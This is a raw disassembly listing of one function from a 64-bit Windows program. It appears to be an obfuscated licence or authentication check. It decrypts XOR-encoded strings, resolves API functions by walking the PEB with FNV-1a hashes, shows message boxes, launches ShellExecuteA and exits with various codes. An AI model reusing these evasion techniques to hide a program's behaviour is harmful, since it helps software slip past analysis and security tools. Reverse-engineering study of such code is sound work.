call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [rsp + 0x48]
call fcn.14006b0b0
lea rax, [rbp + 0x740]
mov qword [rsp + 0x48], rax
lea rdx, [r14 + 0x60]
lea rcx, [rbp + 0x740]
call fcn.1400439d0
mov rbx, rax
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0x6e0]
call fcn.1400439d0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x7f8]
call fcn.140067160
nop
movdqa xmm0, xmmword [0x1400f8540]
movdqu xmmword [rbp + 0x98], xmm0
mov byte [rbp + 0xa8], 1
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx + 0x98], al
inc rcx
cmp rcx, 0xf
jb 0x140062260
mov byte [rbp + 0xa8], 0
lea rcx, [rbp + 0x98]
mov rax, r13
inc rax
cmp byte [rcx + rax], 0
jne 0x140062284
lea rcx, [rbp + 0x7f8]
mov rbx, qword [rbp + 0x7f8]
mov rsi, qword [rbp + 0x810]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp + 0x808]
cmp r8, rax
jne 0x140062420
lea rdx, [rbp + 0x98]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140062420
movdqa xmm0, xmmword [0x1400f86a0]
movdqa xmmword [rbp + 0x1e0], xmm0
movdqa xmm1, xmmword [0x1400f8850]
movdqa xmmword [rbp + 0x1f0], xmm1
movdqa xmm0, xmmword [0x1400f8710]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [0x1400f8780]
movdqa xmmword [rbp + 0x210], xmm1
mov dword [rbp + 0x220], 0xeca5b2
mov byte [rbp + 0x224], 1
mov rcx, r12
lea eax, [rcx - 0x80]
xor byte [rbp + rcx + 0x1e0], al
inc rcx
cmp rcx, 0x43
jb 0x140062322
mov byte [rbp + 0x224], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400623e4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400623e4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0xdd674790
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400623df
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400623c0
cmp edx, 0xf5dcff20
je 0x1400623e9
test r9d, r9d
jne 0x1400623a0
mov rax, qword [rax]
jmp 0x140062370
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
mov rsi, qword [rbp + 0x810]
mov rbx, qword [rbp + 0x7f8]
mov edi, dword [rbp - 0x48]
nop word [rax + rax]
lea rax, [rbp + 0x290]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x7f8]
cmp rsi, 0xf
cmova rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x2a0], r12
mov qword [rbp + 0x2a8], r12
inc r13
cmp byte [rdx + r13], 0
jne 0x140062453
mov r8, r13
lea rcx, [rbp + 0x290]
call fcn.140039170
nop
lea rax, [rbp + 0x700]
mov qword [rbp + 0x70], rax
lea rdx, [0x140139040]
lea rcx, [rbp + 0x700]
call fcn.1400439d0
mov rbx, rax
lea rdx, [0x140139020]
lea rcx, [rbp + 0x720]
call fcn.1400439d0
nop
lea r8, [rbp + 0x290]
mov rdx, rbx
mov rcx, rax
call fcn.14005b4b0
xor eax, 0xa5a5
mov edx, eax
shr eax, 8
movzx r8d, al
movzx eax, dl
movabs r12, 0xcbf29ce484222325
xor rax, r12
movabs r15, 0x100000001b3
imul rax, r15
xor r8, rax
imul r8, r15
mov eax, edx
shr eax, 0x10
movzx ecx, al
xor r8, rcx
imul r8, r15
shr rdx, 0x18
xor r8, rdx
imul r8, r15
cmp r8w, 0xdf7f
jne 0x14006317d
xor r13d, r13d
mov qword [rbp + 0x798], r13
mov byte [rsp + 0x20], r13b
mov r9b, 1
lea r8, [rbp + 0x760]
lea rdx, [rbp + 0x7f8]
lea rcx, [rbp + 0x7a0]
call fcn.140057cb0
nop
lea rdx, [r14 + 0x20]
lea rcx, [rbp + 0x120]
call fcn.140046980
nop
mov dword [rsp + 0x68], 0xe6ecf6ef
mov dword [rsp + 0x6c], 0xe2ecf6
mov byte [rsp + 0x70], 1
mov ecx, r13d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 7
jb 0x140062570
mov byte [rsp + 0x70], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x6f]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x640]
call fcn.140046c20
or edi, 0x18000
mov dword [rbp - 0x48], edi
movzx ecx, byte [rbp + 0x7a0]
test cl, cl
jne 0x1400625d0
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov qword [rbp + 0x7a8], rax
movzx ecx, byte [rbp + 0x7a0]
jmp 0x1400625d7
mov rax, qword [rbp + 0x7a8]
cmp cl, 1
jne 0x1400625ed
lea rdx, [rbp + 0x640]
mov rcx, rax
call fcn.140045260
jmp 0x1400625f2
mov rax, qword [rsp + 0x48]
lea rdx, [rbp + 0x120]
mov rcx, rax
call fcn.14005aa40
movzx ebx, al
lea rcx, [rbp + 0x640]
call fcn.140038880
nop
movzx edx, byte [rbp + 0x120]
lea rcx, [rbp + 0x128]
call fcn.140044dd0
test bl, bl
jne 0x1400626da
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400626b4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400626b4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xd0f71725
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400626af
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140062690
cmp edx, 0x41295fe5
je 0x1400626b9
test r9d, r9d
jne 0x140062670
mov rax, qword [rax]
jmp 0x140062640
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 8
call rax
mov edi, dword [rbp - 0x48]
mov dword [rsp + 0x78], 0xf0f1e4ed
mov dword [rsp + 0x7c], 0xe3e2e5
mov byte [rbp - 0x80], 1
mov rcx, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rsp + rcx + 0x78], al
inc rcx
cmp rcx, 7
jb 0x140062700
mov byte [rbp - 0x80], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x7f]
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x660]
call fcn.140046c20
or edi, 0x6000
mov rbx, qword [rsp + 0x48]
movzx ecx, byte [rbp + 0x7a0]
test cl, cl
jne 0x140062761
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov qword [rbp + 0x7a8], rax
movzx ecx, byte [rbp + 0x7a0]
jmp 0x140062768
mov rax, qword [rbp + 0x7a8]
cmp cl, 1
jne 0x14006277f
lea rdx, [rbp + 0x660]
mov rcx, rax
call fcn.140045260
mov rbx, rax
lea rdx, [rbp + 0x9c0]
mov rcx, rbx
call fcn.1400466d0
nop
lea rcx, [rbp + 0x660]
call fcn.140038880
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x3c0]
call fcn.1400433e0
mov rdx, rax
mov rcx, r14
call fcn.140065340
movabs rsi, 0xcbe5c873d26645f1
mov dword [rbp - 0x40], 0xe6e6eee3
mov word [rbp - 0x3c], 0x100
lea rdx, [rbp + 0x680]
lea rcx, [rbp - 0x40]
call fcn.14005ae10
nop
movzx ecx, byte [rbp + 0x7a0]
test cl, cl
jne 0x140062808
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov qword [rbp + 0x7a8], rax
movzx ecx, byte [rbp + 0x7a0]
jmp 0x14006280f
mov rax, qword [rbp + 0x7a8]
cmp cl, 1
jne 0x140062825
lea rdx, [rbp + 0x680]
mov rcx, rax
call fcn.140045260
jmp 0x14006282a
mov rax, qword [rsp + 0x48]
mov rcx, rax
call fcn.140056ce0
mov edx, eax
shr eax, 8
movzx ebx, al
movzx eax, dl
xor rax, r12
imul rax, r15
xor rbx, rax
imul rbx, r15
mov eax, edx
shr eax, 0x10
movzx ecx, al
xor rbx, rcx
imul rbx, r15
shr rdx, 0x18
xor rbx, rdx
imul rbx, r15
lea rcx, [rbp + 0x680]
call fcn.140038880
mov dword [rbp - 0x20], 0xe0e1f4f3
mov dword [rbp - 0x1c], 0xf5f6e1
mov byte [rbp - 0x18], 1
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp - 0x20]
call fcn.14005ae60
nop
or edi, 1
mov dword [rbp - 0x48], edi
movzx ecx, byte [rbp + 0x7a0]
test cl, cl
jne 0x1400628c1
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov qword [rbp + 0x7a8], rax
movzx ecx, byte [rbp + 0x7a0]
jmp 0x1400628c8
mov rax, qword [rbp + 0x7a8]
cmp cl, 1
jne 0x1400628e1
lea rdx, [rbp + 0x6c0]
mov rcx, rax
call fcn.140045260
mov rcx, rax
jmp 0x1400628e6
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
cmp byte [rax], 0
je 0x140062987
mov dword [rbp - 0x10], 0xe0e1f4f3
mov dword [rbp - 0xc], 0xf5f6e1
mov byte [rbp - 8], 1
lea rdx, [rbp + 0x6a0]
lea rcx, [rbp - 0x10]
call fcn.14005ae60
nop
or edi, 2
mov dword [rbp - 0x48], edi
movzx eax, byte [rbp + 0x7a0]
test al, al
jne 0x14006294d
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov rcx, rax
mov qword [rbp + 0x7a8], rax
movzx eax, byte [rbp + 0x7a0]
jmp 0x140062954
mov rcx, qword [rbp + 0x7a8]
cmp al, 1
jne 0x140062969
lea rdx, [rbp + 0x6a0]
call fcn.140045260
mov rcx, rax
jmp 0x14006296e
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
cmp byte [rax], 0
je 0x140062983
cmp rbx, rsi
je 0x140062987
xor bl, bl
jmp 0x140062989
mov bl, 1
test dil, 2
je 0x14006299f
and edi, 0xfffffffd
lea rcx, [rbp + 0x6a0]
call fcn.140038880
nop
test dil, 1
je 0x1400629b1
lea rcx, [rbp + 0x6c0]
call fcn.140038880
test bl, bl
je 0x1400630a6
mov dword [rbp], 0xe0e1f4f3
mov dword [rbp + 4], 0xf5f6e1
mov byte [rbp + 8], 1
lea rdx, [rbp + 0x560]
lea rcx, [rbp]
call fcn.14005ae60
nop
movzx eax, byte [rbp + 0x7a0]
test al, al
jne 0x140062a06
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov rcx, rax
mov qword [rbp + 0x7a8], rax
movzx eax, byte [rbp + 0x7a0]
jmp 0x140062a0d
mov rcx, qword [rbp + 0x7a8]
cmp al, 1
jne 0x140062a22
lea rdx, [rbp + 0x560]
call fcn.140045260
mov rcx, rax
jmp 0x140062a27
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
movzx ebx, byte [rax]
lea rcx, [rbp + 0x560]
call fcn.140038880
test bl, bl
je 0x140062c0f
mov dword [rbp + 0x60], 0xd0f5e4ee
mov dword [rbp + 0x64], 0xeef5f6e1
mov dword [rbp + 0x68], 0x100e7e7
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x60]
call fcn.14005afa0
nop
movzx eax, byte [rbp + 0x7a0]
test al, al
jne 0x140062a99
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov rcx, rax
mov qword [rbp + 0x7a8], rax
movzx eax, byte [rbp + 0x7a0]
jmp 0x140062aa0
mov rcx, qword [rbp + 0x7a8]
cmp al, 1
jne 0x140062ab5
lea rdx, [rbp + 0x600]
call fcn.140045260
mov rcx, rax
jmp 0x140062aba
mov rcx, qword [rsp + 0x48]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r13
movzx ebx, byte [rax]
lea rcx, [rbp + 0x600]
call fcn.140038880
test bl, bl
je 0x140062ae3
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x50], 0xf0f1e4f3
mov dword [rbp + 0x54], 0xeee8eaed
mov word [rbp + 0x58], 0xec
mov byte [rbp + 0x5a], 1
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x50]
call fcn.14005af00
nop
movzx eax, byte [rbp + 0x7a0]
test al, al
jne 0x140062b36
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov rcx, rax
mov qword [rbp + 0x7a8], rax
movzx eax, byte [rbp + 0x7a0]
jmp 0x140062b3d
mov rcx, qword [rbp + 0x7a8]
cmp al, 1
jne 0x140062b4f
lea rdx, [rbp + 0x5e0]
call fcn.140045260
jmp 0x140062b54
mov rax, qword [rsp + 0x48]
lea rcx, [r14 + 0x240]
mov rdx, rax
call fcn.1400566c0
nop
lea rcx, [rbp + 0x5e0]
call fcn.140038880
mov byte [0x1401d5ac0], 1
mov dword [rbp + 0x10], 0xeaf2f1e1
mov dword [rbp + 0x14], 0xe9e3ea
mov byte [rbp + 0x18], 1
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x10]
call fcn.14005ae60
nop
movzx ecx, byte [rbp + 0x7a0]
test cl, cl
jne 0x140062bc1
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov qword [rbp + 0x7a8], rax
movzx ecx, byte [rbp + 0x7a0]
jmp 0x140062bc8
mov rax, qword [rbp + 0x7a8]
cmp cl, 1
jne 0x140062bde
lea rdx, [rbp + 0x5c0]
mov rcx, rax
call fcn.140045260
jmp 0x140062be3
mov rax, qword [rsp + 0x48]
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.1400433e0
mov rdx, rax
mov rcx, r14
call fcn.140064f20
nop
lea rcx, [rbp + 0x5c0]
call fcn.140038880
jmp 0x140063158
mov dword [rbp - 0x68], 0xe2f4efe9
mov dword [rbp - 0x64], 0xf1e2ece8
mov dword [rbp - 0x60], 0x100fbed
xor eax, eax
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0xb0], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x838], xmm0
lea ecx, [rax + 0x20]
call fcn.1400f1d40
lea rcx, [rbp + 0x7b0]
mov qword [rbp + 0x838], rcx
mov qword [rbp + 0x840], rax
cmp byte [rbp - 0x5d], 0
je 0x140062c84
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rdx - 0x80]
xor byte [rbp + rdx - 0x68], cl
inc rdx
cmp rdx, 0xa
jb 0x140062c70
mov byte [rbp - 0x5d], 0
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x5e]
lea rdx, [rbp - 0x68]
mov rcx, rax
call fcn.140046c20
mov rax, qword [rbp + 0x840]
mov qword [rbp + 0x840], r13
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0x20], 0xf0f1e4ed
mov dword [rbp + 0x24], 0xe3e2e5
mov byte [rbp + 0x28], 1
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x20]
call fcn.14005ae60
nop
movzx ecx, byte [rbp + 0x7a0]
test cl, cl
jne 0x140062cf8
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov qword [rbp + 0x7a8], rax
movzx ecx, byte [rbp + 0x7a0]
jmp 0x140062cff
mov rax, qword [rbp + 0x7a8]
cmp cl, 1
jne 0x140062d15
lea rdx, [rbp + 0x5a0]
mov rcx, rax
call fcn.140045260
jmp 0x140062d1a
mov rax, qword [rsp + 0x48]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call fcn.14005aa40
movzx ebx, al
lea rcx, [rbp + 0x5a0]
call fcn.140038880
nop
movzx edx, byte [rbp + 0xb0]
lea rcx, [rbp + 0xb8]
call fcn.140044dd0
test bl, bl
je 0x140063158
mov dword [rbp + 0x30], 0xedf5eee4
mov dword [rbp + 0x34], 0xe3e7eae8
mov word [rbp + 0x38], 0x100
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x30]
call fcn.14005aeb0
nop
mov rbx, qword [rsp + 0x48]
movzx eax, byte [rbp + 0x7a0]
test al, al
jne 0x140062da8
mov byte [rbp + 0x7a0], 1
call fcn.140046d60
mov rcx, rax
mov qword [rbp + 0x7a8], rax
movzx eax, byte [rbp + 0x7a0]
jmp 0x140062daf
mov rcx, qword [rbp + 0x7a8]
cmp al, 1
jne 0x140062dc2
lea rdx, [rbp + 0x580]
call fcn.140045260
mov rbx, rax
lea rdx, [rbp + 0x888]
mov rcx, rbx
call fcn.1400466d0
nop
lea rcx, [rbp + 0x580]
call fcn.140038880
lea rcx, [rbp + 0x888]
mov rdi, qword [rbp + 0x888]
mov rsi, qword [rbp + 0x8a0]
cmp rsi, 0xf
cmova rcx, rdi
mov r8, qword [rbp + 0x898]
test r8, r8
jne 0x140062fa7
lea rdx, [0x140115dc2]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140062fa7
movdqa xmm0, xmmword [0x1400f8810]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm1, xmmword [0x1400f8880]
movdqa xmmword [rbp + 0x430], xmm1
movdqa xmm0, xmmword [0x1400f8600]
movdqa xmmword [rbp + 0x440], xmm0
movdqa xmm1, xmmword [0x1400f8700]
movdqa xmmword [rbp + 0x450], xmm1
movdqa xmm0, xmmword [0x1400f8630]
movdqa xmmword [rbp + 0x460], xmm0
movdqa xmm1, xmmword [0x1400f8640]
movdqa xmmword [rbp + 0x470], xmm1
movdqa xmm0, xmmword [0x1400f8730]
movdqa xmmword [rbp + 0x480], xmm0
movdqa xmm1, xmmword [0x1400f85d0]
movdqa xmmword [rbp + 0x490], xmm1
movdqa xmm0, xmmword [0x1400f85b0]
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm1, xmmword [0x1400f85c0]
movdqa xmmword [rbp + 0x4b0], xmm1
movdqa xmm0, xmmword [0x1400f85a0]
movdqa xmmword [rbp + 0x4c0], xmm0
movdqa xmm1, xmmword [0x1400f8590]
movdqa xmmword [rbp + 0x4d0], xmm1
movdqa xmm0, xmmword [str.5a_0____j__n_q_t7_y_2:___XS_RFQ]
movdqa xmmword [rbp + 0x4e0], xmm0
movdqa xmm1, xmmword [0x1400f8580]
movdqa xmmword [rbp + 0x4f0], xmm1
movdqa xmm0, xmmword [0x1400f8560]
movdqa xmmword [rbp + 0x500], xmm0
movdqa xmm1, xmmword [0x1400f8550]
movdqa xmmword [rbp + 0x510], xmm1
movdqa xmm0, xmmword [0x1400f87c0]
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmm1, xmmword [0x1400f88b0]
movdqa xmmword [rbp + 0x530], xmm1
movdqa xmm0, xmmword [0x1400f86f0]
movdqa xmmword [rbp + 0x540], xmm0
mov dword [rbp + 0x550], 0xcadec5d3
mov word [rbp + 0x554], 0x9a
mov byte [rbp + 0x556], 1
mov rcx, r13
nop dword [rax]
lea eax, [rcx - 0x80]
xor byte [rbp + rcx + 0x420], al
inc rcx
cmp rcx, 0x135
jb 0x140062f70
mov byte [rbp + 0x556], 0
mov r9d, reloc.WS2_32.dll_recv
xor r8d, r8d
lea rdx, [rbp + 0x420]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140062fea
lea rbx, [rbp + 0x888]
cmp rsi, 0xf
cmova rbx, rdi
mov dword [rbp - 0x38], 0xede7f1ef
mov word [rbp - 0x34], 0x100
lea rcx, [rbp - 0x38]
call fcn.14005bf30
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140063074
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140063074
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x6b79de06
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14006306f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140063050
cmp edx, 0xfc81d66e
je 0x140063079
test r9d, r9d
jne 0x140063030
mov rax, qword [rax]
jmp 0x140063000
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
nop
lea rcx, [rbp + 0x888]
call fcn.140038880
jmp 0x140063158
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140063134
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140063134
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0xfa7031c7
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14006312f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140063110
cmp edx, 0xb457c07
je 0x140063139
test r9d, r9d
jne 0x1400630f0
mov rax, qword [rax]
jmp 0x1400630c0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 9
call rax
nop
lea rcx, [rbp + 0x9c0]
call fcn.140038880
nop
movzx edx, byte [rbp + 0x7a0]
lea rcx, [rbp + 0x7a8]
call fcn.140044dd0
jmp 0x14006322c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140063206
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140063206
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov ecx, dword [rdx + r11]
add rcx, r10
mov r8d, 0xf965a2d8
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140063201
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x1400631e0
cmp r8d, 0x6c680828
je 0x14006320b
test r9d, r9d
jne 0x1400631c0
mov rax, qword [rax]
jmp 0x140063190
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 7
call rax
xor r13d, r13d
mov rdx, qword [rbp + 0x810]
cmp rdx, 0xf
jbe 0x140063270
inc rdx
mov rcx, qword [rbp + 0x7f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006326b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006326b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
mov qword [rbp + 0x808], r13
mov qword [rbp + 0x810], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7f8], 0
mov rdx, qword [rbp + 0x7d0]
cmp rdx, 0xf
jbe 0x1400632cd
inc rdx
mov rcx, qword [rbp + 0x7b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400632c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400632c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
mov qword [rbp + 0x7c8], r13
mov qword [rbp + 0x7d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x7b8], 0
mov rdx, qword [rbp + 0x830]
cmp rdx, 0xf
jbe 0x14006332a
inc rdx
mov rcx, qword [rbp + 0x818]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063325
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063325
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
mov qword [rbp + 0x828], r13
mov qword [rbp + 0x830], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x818], 0
mov rdx, qword [rbp + 0x880]
cmp rdx, 0xf
jbe 0x140063387
inc rdx
mov rcx, qword [rbp + 0x868]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063382
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063382
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f2094
mov rcx, qword [rbp + 0x9e0]
xor rcx, rsp
call fcn.1400f2510
lea r11, [rsp + 0xaf0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140031d20
nop
call fcn.140003a20
int3